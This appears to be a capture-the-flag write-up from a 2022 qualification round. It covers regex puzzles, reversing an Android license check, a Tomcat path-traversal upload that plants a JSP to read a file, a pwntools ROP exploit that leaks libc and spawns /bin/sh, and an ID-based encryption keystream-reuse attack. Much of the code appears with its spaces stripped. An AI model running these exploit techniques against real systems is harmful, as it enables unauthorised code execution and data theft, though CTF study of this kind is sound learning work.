I’m super happy on writing this writeup becaue I managed to qualify to join the final of GCC 3.0 2022. Here is my writeup for challenges that I solved during qualification. (Edit: I got third place on the final :D).
Rev
Regexp Challenge
We just need to craft manually our regex per level
Level 1
\d{8}\D{1}
Level 2
^[1,2,3,4,8,9]\D{1}
Level 3
\d{8}[A]{1}
Level 4
7{7,}[A]
Level 5
.*A
Level 6
\d*A
Level 7
\d*\D
Level 8
\d*[c,h,W,A]
Level 9
[^-]+
Level 10
\D{1}-{1}\d{6}\D
Level 11
\D{1}-{1}\d{3,5}\D
Level 12
\D{1}(-|\+){1}\d{6}\D
Level 13
\d{2}\D?\d{5}\D
Level 14
\d{2}\D?\d{1,3}\D
Level 15
((\D\+\d{4,6}\D)|(\D-\d{4}\D))
Flag: HL{RegExp-Tyc00n-91234}
License Key Level 1
Serial key was found in this verify function
Flag: SYIOKLELUIOD
License Key Level 2
The calculated serial was printed in the terminal, so we can simply use it as the flag.
publicvoidlogin(Stringstr){if(checkHooking()){this.loginResult.setValue(newLoginResult(Integer.valueOf((int)R.string.must_not_hook)));return;}try{int[]checkPw=checkPw(getCode(str));if(checkPw.length>0){this.loginResult.setValue(newLoginResult(newLoggedInUser(getStringFromCode(checkPw),"Well done you did it.")));}else{this.loginResult.setValue(newLoginResult(Integer.valueOf((int)R.string.login_failed)));}}catch(Exceptionunused){this.loginResult.setValue(newLoginResult(Integer.valueOf((int)R.string.error_logging_in)));}}protectedstaticint[]x0={121,134,239,213,16,28,184,101,150,60,170,49,159,189,241,146,141,22,205,223,218,210,99,219,34,84,156,237,26,94,178,230,27,180,72,32,102,192,178,234,228,38,37,142,242,142,133,159,142,33};protectedint[]getCode(Stringstr){byte[]bytes=str.getBytes();int[]iArr=newint[str.length()];for(inti=0;i<str.length();i++){iArr[i]=bytes[i]^x0[i];}returniArr;}
Basically, what it do is our password will be xor-ed with the x0 var, and then the result will be passed to native method called checkPw
I extract the native lib so file, and open it on Ghidra. With the help of JNIAnalyzer, I could deduce the password checker that was used in the checkPw method.
jintArrayJava_org_bfe_crackmenative_ui_LoginViewModel_checkPw(JNIEnv*env,jobjectthiz,jintArraypassword){boolbVar1;boolbVar2;jintArraynew_arr;jsizepassword_length;FILE*__stream;char*pcVar3;jint*curr_char_pass;charexpected_char;longidx;jintArraynew_arr5;longin_FS_OFFSET;charlocal_1038[4096];longlocal_38;local_38=*(long*)(in_FS_OFFSET+0x28);__android_log_write(4,"Native Check","Checking password ...");new_arr=(*(*env)->NewIntArray)(env,0);password_length=(*(*env)->GetArrayLength)(env,password);new_arr5=new_arr;if((int)password_length==27){__stream=fopen("/proc/self/maps","r");do{pcVar3=fgets(local_1038,0x1000,__stream);if(pcVar3==(char*)0x0){bVar1=false;bVar2=bVar1;if(__stream==(FILE*)0x0)gotoLAB_001009f9;gotoLAB_001009f1;}pcVar3=strstr(local_1038,"Xposed");bVar1=true;}while((pcVar3==(char*)0x0)&&(pcVar3=strstr(local_1038,"frida"),pcVar3==(char*)0x0));bVar2=true;if(__stream!=(FILE*)0x0){LAB_001009f1:bVar1=bVar2;fclose(__stream);}LAB_001009f9:if(!bVar1){idx=0;curr_char_pass=(*(*env)->GetIntArrayElements)(env,password,(jboolean*)0x0);for(_expected_char=&DAT_00100c8c;((new_arr5=new_arr,((&DAT_00100b20)[idx]^*(uint*)((long)curr_char_pass+idx*4)^*_expected_char)==(&DAT_00100cc0)[idx]&&(new_arr5=password,idx!=26))&&(new_arr5=new_arr,((&DAT_00100b24)[idx]^*(uint*)((long)curr_char_pass+idx*4+4)^_expected_char[-1])==(&DAT_00100cc4)[idx]));_expected_char=_expected_char+-2){idx=idx+2;}}}if(*(long*)(in_FS_OFFSET+0x28)!=local_38){/* WARNING: Subroutine does not return */__stack_chk_fail();}returnnew_arr5;}
Reading the code, we know that the password length is 27, and the native lib have three different keys in the native (key_a which is DAT_00100b20, key_b which is DAT_00100c8c and key_c which is DAT_00100cc0 ). What it do is
input[i] ^ key_a[i] ^ key_b[-i] = key_c[i]
And merging with the Login logic, the final operation would be
password[i] ^ x0[i] ^ key_a[i] ^ key_b[-i] = key_c[i]
So to generate the password (which is the flag), we just need to do:
password[i] = x0[i] ^ key_a[i] ^ key_b[-i] ^ key_c[i]
I try to check /examples folder, and found out that this uses Apache Tomcat. After playing it for a while (especially on the upload feature), I notice that the upload feature doesn’t sanitize ../, which mean we can freely upload the file to any directories. Also inside the examples folder there are a lot of jsp file example that got executed.
My solution is to upload a jsp file to the examples folder path (/examples/jsp/jsp2/el) where the jsp file will open /var/gold.txt file contents.
There is a buffer overflow vulnerability. Because the plt only contains read, we need to do partial overwrite (1 byte) to the read_got value so that we can execute syscall. The idea to gain the shell is:
Overwrite RIP to read_plt
Overwrite read_got to syscall with read (1 last byte)
Rax = 1, If we call read_plt (which now is syscall), we can leak the got address and retrieve the libc base address
Set rax to 0
Syscall read again to load our second payload into .bss (Second payload will execute system("/bin/sh"))
frompwnimport*context.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")# Chosen BSSbss=0x00601030+0x400# readelf -s libc-2.27.so | grep "read" = 0x0000000000110070# I choose to redirect it to directly syscall inside read (read+15)read_offset=0x000000000011007fread_plt=0x00000000004003f0read_got=0x601018syscall=read_plt# We will overwrite read_got to syscall, so basically syscall = read_plt# ROPGadget resultpop_rdi=0x0000000000400583# pop rdi ; retpop_rsi_r15=0x0000000000400581# pop rsi ; pop r15 ; retpop_rsp=0x000000000040057d# pop rsp ; pop r13 ; pop r14 ; pop r15 ; retmov_eax_0_pop_rbp=0x0000000000400515# mov eax, 0 ; pop rbp ; retret_address=0x00000000004003de# retlibc=ELF('./libc-2.27.so')r=process('./crySYS_patched')# Load stage 2 roppayload=b'a'*80payload+=p64(bss)payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0)payload+=p64(read_plt)# Overwrite 1 bytes, rax == 1payload+=p64(pop_rdi)+p64(1)payload+=p64(syscall)# rax == 1 == write(1, got_addr)payload+=p64(mov_eax_0_pop_rbp)+p64(bss+72)# Set rax to 0payload+=p64(pop_rdi)+p64(0)payload+=p64(pop_rsi_r15)+p64(bss)+p64(0)payload+=p64(syscall)# read(0, bss)payload+=p64(pop_rsp)+p64(bss)# Set rsp to bsssleep(1)r.sendline(payload)log.info('Payload sent...')sleep(1)# Overwrite 1 byte of read_got by syscall inside readr.send(b'\x7f')log.info('Overwrite read got...')sleep(1)# After leaking the address, call system()leak_syscall_address=u64(r.recvn(8))libc.address=leak_syscall_address-read_offsetlog.info(f'Leaked syscall address: {hex(leak_syscall_address)}')log.info(f'Leaked libc address: {hex(libc.address)}')# Craft payload to call system('/bin/sh')bin_sh_string_addr=next(libc.search(b'/bin/sh'))payload_3=p64(0)+p64(0)+p64(0)payload_3+=p64(pop_rdi)+p64(bin_sh_string_addr)payload_3+=p64(ret_address)# https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-callpayload_3+=p64(libc.symbols['system'])+p64(0)# Call systemsleep(1)r.send(payload_3)log.info('Call system("/bin/sh")...')r.interactive()
Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}
Crypto
IDBased1
After checking with the given ciphertexts consist of encrypted message of ‘This is the test message number x’, there is a collision between the ciphertexts CEO and the test ciphertexts
Because the $rP$ value is the same, we could know that the $H2(g_{ID}^r)$ value of the ceo and the test cipher texts have the same value, which mean
1
2
3
4
ceo_v = b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
test_v = b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')
ceo_msg = test_v^b'This is the message number'^ceo_v
Full Script:
1
2
3
4
5
6
7
8
9
10
frompwnimport*importbase64ceo_v=base64.b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')flag_len=len(ceo_v)test_v=base64.b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')test_msg=b'This is the test message number'flag=xor(xor(test_v[:flag_len],test_msg[:flag_len]),ceo_v)print(f'Flag: {flag.decode()}')